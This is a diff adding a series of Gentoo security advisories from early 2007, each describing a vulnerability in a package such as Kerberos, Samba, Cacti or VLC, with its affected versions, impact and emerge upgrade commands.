+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-19">
+  <title>OpenLDAP: Insecure usage of /tmp during installation</title>
+  <synopsis>
+    A shell script commonly released with OpenLDAP makes insecure usage of
+    files in /tmp during the emerge process.
+  </synopsis>
+  <product type="ebuild">openldap</product>
+  <announced>January 23, 2007</announced>
+  <revised>March 11, 2007: 02</revised>
+  <bug>159508</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-nds/openldap" auto="yes" arch="*">
+      <unaffected range="ge">2.1.30-r10</unaffected>
+      <unaffected range="ge">2.2.28-r7</unaffected>
+      <unaffected range="ge">2.3.30-r2</unaffected>
+      <vulnerable range="lt">2.1.30-r10</vulnerable>
+      <vulnerable range="lt">2.2.28-r7</vulnerable>
+      <vulnerable range="lt">2.3.30-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenLDAP Software is an open source implementation of the Lightweight
+    Directory Access Protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Team has discovered that the
+    file gencert.sh distributed with the Gentoo ebuild for OpenLDAP does
+    not exit upon the existence of a directory in /tmp during installation
+    allowing for directory traversal.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A local attacker could create a symbolic link in /tmp and potentially
+    overwrite arbitrary system files upon a privileged user emerging
+    OpenLDAP.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenLDAP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;net-nds/openldap&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0476">CVE-2007-0476</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 13 Jan 2007 21:20:49 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 14 Jan 2007 21:54:19 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 15 Jan 2007 00:28:23 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-20.xml b/xml/htdocs/security/en/glsa/glsa-200701-20.xml
new file mode 100644
index 00000000..28c18231
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-20.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-20">
+  <title>Centericq: Remote buffer overflow in LiveJournal handling</title>
+  <synopsis>
+    Centericq does not properly handle communications with the LiveJournal
+    service, allowing for the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">centericq</product>
+  <announced>January 24, 2007</announced>
+  <revised>January 24, 2007: 01</revised>
+  <bug>160793</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/centericq" auto="yes" arch="*">
+      <vulnerable range="le">4.21.0-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Centericq is a text mode menu-driven and window-driven instant
+    messaging interface.
+    </p>
+  </background>
+  <description>
+    <p>
+    When interfacing with the LiveJournal service, Centericq does not
+    appropriately allocate memory for incoming data, in some cases creating
+    a buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to connect to an unofficial LiveJournal
+    server causing Centericq to read specially crafted data from the
+    server, which could lead to the execution of arbitrary code with the
+    rights of the user running Centericq.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Currently, Centericq is unmaintained. As such, Centericq has been
+    masked in Portage until it is again maintained.
+    </p>
+    <code>
+    # emerge --ask --verbose --unmerge &quot;net-im/centericq&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0160">CVE-2007-0160</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 14 Jan 2007 18:03:01 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 14 Jan 2007 21:54:11 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 18 Jan 2007 02:19:00 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-21.xml b/xml/htdocs/security/en/glsa/glsa-200701-21.xml
new file mode 100644
index 00000000..c7f4e564
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-21.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-21">
+  <title>MIT Kerberos 5: Arbitrary Remote Code Execution</title>
+  <synopsis>
+    Multiple vulnerabilities in MIT Kerberos 5 could potentially result in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mit-krb5</product>
+  <announced>January 24, 2007</announced>
+  <revised>January 24, 2007: 01</revised>
+  <bug>158810</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/mit-krb5" auto="yes" arch="*">
+      <unaffected range="ge">1.5.2</unaffected>
+      <vulnerable range="lt">1.5.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MIT Kerberos 5 is a suite of applications that implement the Kerberos
+    network protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Kerberos administration daemon, and possibly other applications
+    using the GSS-API or RPC libraries, could potentially call a function
+    pointer in a freed heap buffer, or attempt to free an uninitialized
+    pointer.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker may be able to crash an affected application, or
+    potentially execute arbitrary code with root privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MIT Kerberos 5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/mit-krb5-1.5.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6143">CVE-2006-6143</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6144">CVE-2006-6144</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 12 Jan 2007 22:46:59 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 14 Jan 2007 23:13:19 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 22 Jan 2007 12:38:46 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-22.xml b/xml/htdocs/security/en/glsa/glsa-200701-22.xml
new file mode 100644
index 00000000..1a2e577e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-22.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-22">
+  <title>Squid: Multiple Denial of Service vulnerabilities</title>
+  <synopsis>
+    Two vulnerabilities have been found in Squid which make it susceptible to
+    Denial of Service attacks.
+  </synopsis>
+  <product type="ebuild">squid</product>
+  <announced>January 25, 2007</announced>
+  <revised>January 25, 2007: 01</revised>
+  <bug>162364</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/squid" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7</unaffected>
+      <vulnerable range="lt">2.6.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Squid is a multi-protocol proxy server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Squid fails to correctly handle ftp:// URI's. There is also an error in
+    the external_acl queue which can cause an infinite looping condition.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could attempt to retrieve a specially crafted URI via a
+    Squid server causing the service to crash. If an attacker could
+    generate a sufficiently high load on the Squid services, they could
+    cause a Denial of Service by forcing Squid into an infinite loop.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Squid users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-proxy/squid-2.6.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0247">CVE-2007-0247</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0248">CVE-2007-0248</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 22 Jan 2007 16:59:17 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 23 Jan 2007 10:26:06 +0000">
+    hyakuhei
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 24 Jan 2007 12:52:50 +0000">
+    hyakuhei
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-23.xml b/xml/htdocs/security/en/glsa/glsa-200701-23.xml
new file mode 100644
index 00000000..5a4af2f6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-23.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-23">
+  <title>Cacti: Command execution and SQL injection</title>
+  <synopsis>
+    Cacti has three vulnerabilities that could allow shell command execution or
+    SQL injection.
+  </synopsis>
+  <product type="ebuild">cacti</product>
+  <announced>January 26, 2007</announced>
+  <revised>January 26, 2007: 01</revised>
+  <bug>159278</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/cacti" auto="yes" arch="*">
+      <unaffected range="ge">0.8.6i-r1</unaffected>
+      <vulnerable range="lt">0.8.6i-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cacti is a web-based network graphing and reporting tool.
+    </p>
+  </background>
+  <description>
+    <p>
+    rgod discovered that the Cacti cmd.php and copy_cacti_user.php scripts
+    do not properly control access to the command shell, and are remotely
+    accessible by unauthenticated users. This allows SQL injection via
+    cmd.php and copy_cacti_user.php URLs. Further, the results from the
+    injected SQL query are not properly sanitized before being passed to a
+    command shell. The vulnerabilities require that the
+    "register_argc_argv" option is enabled, which is the Gentoo default.
+    Also, a number of similar problems in other scripts were reported.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    These vulnerabilties can result in the execution of arbitrary shell
+    commands or information disclosure via crafted SQL queries.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cacti users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/cacti-0.8.6i-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6799">CVE-2006-6799</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 12 Jan 2007 22:58:24 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 16 Jan 2007 02:39:11 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 17 Jan 2007 22:17:59 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-24.xml b/xml/htdocs/security/en/glsa/glsa-200701-24.xml
new file mode 100644
index 00000000..e61e0c93
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-24.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-24">
+  <title>VLC media player: Format string vulnerability</title>
+  <synopsis>
+    VLC media player improperly handles format strings, allowing for the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">vlc</product>
+  <announced>January 26, 2007</announced>
+  <revised>January 26, 2007: 01</revised>
+  <bug>159845</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/vlc" auto="yes" arch="*">
+      <unaffected range="ge">0.8.6-r1</unaffected>
+      <vulnerable range="lt">0.8.6-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    VLC media player is a multimedia player for various audio and video
+    formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kevin Finisterre has discovered that when handling media locations,
+    various functions throughout VLC media player make improper use of
+    format strings.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially crafted media
+    location or M3U file with VLC media player, and execute arbitrary code
+    on the system with the rights of the user running VLC media player.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All VLC media player users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/vlc-0.8.6-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0017">CVE-2007-0017</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 15 Jan 2007 23:30:46 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 16 Jan 2007 17:08:55 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 18 Jan 2007 02:10:51 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-25.xml b/xml/htdocs/security/en/glsa/glsa-200701-25.xml
new file mode 100644
index 00000000..35b38102
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-25.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-25">
+  <title>X.Org X server: Multiple vulnerabilities</title>
+  <synopsis>
+    Sean Larsson from iDefense Labs has found multiple vulnerabilities in the
+    DBE and Render extensions.
+  </synopsis>
+  <product type="ebuild">X.Org</product>
+  <announced>January 27, 2007</announced>
+  <revised>February 26, 2007: 02</revised>
+  <bug>157421</bug>
+  <access>local</access>
+  <affected>
+    <package name="x11-base/xorg-server" auto="yes" arch="*">
+      <unaffected range="ge">1.1.1-r4</unaffected>
+      <vulnerable range="lt">1.1.1-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The X Window System is a graphical windowing system based on a
+    client/server model.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple memory corruption vulnerabilities have been found in the
+    ProcDbeGetVisualInfo() and the ProcDbeSwapBuffers() of the DBE
+    extension, and ProcRenderAddGlyphs() in the Render extension.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could execute arbitrary code with the privileges of
+    the user running the X server, typically root.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable the DBE extension by removing the "Load dbe" directive in the
+    Module section of xorg.conf, and explicitly disable the Render
+    extension with ' Option "RENDER" "disable" ' in the Extensions section.
+    </p>
+    <p>
+    Note: This could affect the functionality of some applications.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All X.Org X server users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-base/xorg-server-1.1.1-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6101">CVE-2006-6101</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6102">CVE-2006-6102</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6103">CVE-2006-6103</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 23 Jan 2007 12:31:17 +0000">
+    daxomatic
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 24 Jan 2007 15:54:52 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-26.xml b/xml/htdocs/security/en/glsa/glsa-200701-26.xml
new file mode 100644
index 00000000..7e7fe5a5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-26.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-26">
+  <title>KSirc: Denial of Service vulnerability</title>
+  <synopsis>
+    KSirc is vulnerable to a Denial of Service attack.
+  </synopsis>
+  <product type="ebuild">ksirc</product>
+  <announced>January 29, 2007</announced>
+  <revised>January 30, 2007: 01</revised>
+  <bug>159658</bug>
+  <access>remote</access>
+  <affected>
+    <package name="kde-base/ksirc" auto="yes" arch="*">
+      <unaffected range="ge">3.5.5-r1</unaffected>
+      <vulnerable range="lt">3.5.5-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KSirc is the default KDE IRC client.
+    </p>
+  </background>
+  <description>
+    <p>
+    KSirc fails to check the size of an incoming PRIVMSG string sent from
+    an IRC server during the connection process.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious IRC server could send a long PRIVMSG string to the KSirc
+    client causing an assertion failure and the dereferencing of a null
+    pointer, resulting in a crash.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All KSirc users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/ksirc-3.5.5-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6811">CVE-2006-6811</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 24 Jan 2007 20:03:08 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 24 Jan 2007 20:03:22 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 25 Jan 2007 11:44:16 +0000">
+    hyakuhei
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-27.xml b/xml/htdocs/security/en/glsa/glsa-200701-27.xml
new file mode 100644
index 00000000..54f4328a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-27.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-27">
+  <title>ELinks: Arbitrary Samba command execution</title>
+  <synopsis>
+    ELinks does not properly validate "smb://" URLs, making it vulnerable to
+    the execution of arbitrary Samba commands.
+  </synopsis>
+  <product type="ebuild">elinks</product>
+  <announced>January 30, 2007</announced>
+  <revised>January 30, 2007: 01</revised>
+  <bug>155358</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/elinks" auto="yes" arch="*">
+      <unaffected range="ge">0.11.2</unaffected>
+      <vulnerable range="lt">0.11.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ELinks is a text mode web browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    Teemu Salmela discovered an error in the validation code of "smb://"
+    URLs used by ELinks, the same issue as reported in GLSA 200612-16
+    concerning Links.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to browse to a specially crafted
+    "smb://" URL and execute arbitrary Samba commands, which would allow
+    the overwriting of arbitrary local files or the upload or download of
+    arbitrary files. This vulnerability can be exploited only if
+    "smbclient" is installed on the victim's computer, which is provided by
+    the "samba" Gentoo package.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ELinks users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/elinks-0.11.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5925">CVE-2006-5925</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 30 Jan 2007 10:52:21 +0000">
+    hyakuhei
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 30 Jan 2007 11:02:26 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-28.xml b/xml/htdocs/security/en/glsa/glsa-200701-28.xml
new file mode 100644
index 00000000..f81fd6e9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-28.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-28">
+  <title>thttpd: Unauthenticated remote file access</title>
+  <synopsis>
+    The default configuration of the Gentoo thttpd package potentially allows
+    unauthenticated access to system files when used with newer versions of
+    baselayout.
+  </synopsis>
+  <product type="ebuild">thttpd</product>
+  <announced>January 31, 2007</announced>
+  <revised>March 11, 2007: 02</revised>
+  <bug>142047</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/thttpd" auto="yes" arch="*">
+      <unaffected range="ge">2.25b-r6</unaffected>
+      <vulnerable range="lt">2.25b-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    thttpd is a webserver designed to be simple, small, and fast.
+    </p>
+  </background>
+  <description>
+    <p>
+    thttpd is vulnerable to an underlying change made to the
+    start-stop-daemon command in the current stable Gentoo baselayout
+    package (version 1.12.6). In the new version, the start-stop-daemon
+    command performs a "chdir /" command just before starting the thttpd
+    process. In the Gentoo default configuration, this causes thttpd to
+    start with the document root set to "/", the sytem root directory.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    When thttpd starts with the document root set to the system root
+    directory, all files on the system that are readable by the thttpd
+    process can be remotely accessed by unauthenticated users.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Alter the THTTPD_OPTS variable in /etc/conf.d/thttpd to include the
+    "-d" option to specify the document root. Alternatively, modify the
+    THTTPD_OPTS variable in /etc/conf.d/thttpd to specify a thttpd.conf
+    file using the "-C" option, and then configure the "dir=" directive in
+    that thttpd.conf file.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All thttpd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/thttpd-2.25b-r5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0664">CVE-2007-0664</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 26 Jan 2007 12:41:44 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 27 Jan 2007 17:49:26 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 31 Jan 2007 21:45:13 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200702-01.xml b/xml/htdocs/security/en/glsa/glsa-200702-01.xml
new file mode 100644
index 00000000..0cdbf211
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200702-01.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200702-01">
+  <title>Samba: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple flaws exist in the Samba suite of programs, the most serious of
+    which could result in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">samba</product>
+  <announced>February 13, 2007</announced>
+  <revised>February 13, 2007: 01</revised>
+  <bug>165549</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-fs/samba" auto="yes" arch="*">
+      <unaffected range="ge">3.0.24</unaffected>
+      <vulnerable range="lt">3.0.24</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Samba is a suite of SMB and CIFS client/server programs for UNIX.
+    </p>
+  </background>
+  <description>
+    <p>
+    A format string vulnerability exists in the VFS module when handling
+    AFS file systems and an infinite loop has been discovered when handling
+    file rename operations.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A user with permission to write to a shared AFS file system may be able
+    to compromise the smbd process and execute arbitrary code with the
+    permissions of the daemon. The infinite loop could be abused to consume
+    excessive resources on the smbd host, denying service to legitimate
+    users.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Samba users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-fs/samba-3.0.24&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://samba.org/samba/security/CVE-2007-0452.html">CVE-2007-0452</uri>
+    <uri link="http://samba.org/samba/security/CVE-2007-0454.html">CVE-2007-0454</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 09 Feb 2007 15:08:23 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 10 Feb 2007 23:53:19 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 12 Feb 2007 23:21:02 +0000">
+    taviso
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200702-02.xml b/xml/htdocs/security/en/glsa/glsa-200702-02.xml
new file mode 100644
index 00000000..6c40f999
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200702-02.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200702-02">
+  <title>ProFTPD: Local privilege escalation</title>
+  <synopsis>
+    A flaw in ProFTPD may allow a local attacker to obtain root privileges.
+  </synopsis>
+  <product type="ebuild">proftpd</product>
+  <announced>February 13, 2007</announced>
+  <revised>February 13, 2007: 01</revised>
+  <bug>158122</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-ftp/proftpd" auto="yes" arch="*">
+      <unaffected range="ge">1.3.1_rc1</unaffected>
+      <vulnerable range="lt">1.3.1_rc1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ProFTPD is a powerful, configurable, and free FTP daemon.
+    </p>
+  </background>
+  <description>
+    <p>
+    A flaw exists in the mod_ctrls module of ProFTPD, normally used to
+    allow FTP server administrators to configure the daemon at runtime.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An FTP server administrator permitted to interact with mod_ctrls could
+    potentially compromise the ProFTPD process and execute arbitrary code
+    with the privileges of the FTP Daemon, which is normally the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable mod_ctrls, or ensure only trusted users can access this
+    feature.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ProFTPD users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-ftp/proftpd-1.3.1_rc1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6563">CVE-2006-6563</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 10 Feb 2007 19:05:16 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 10 Feb 2007 23:53:16 +0000">
+    falco
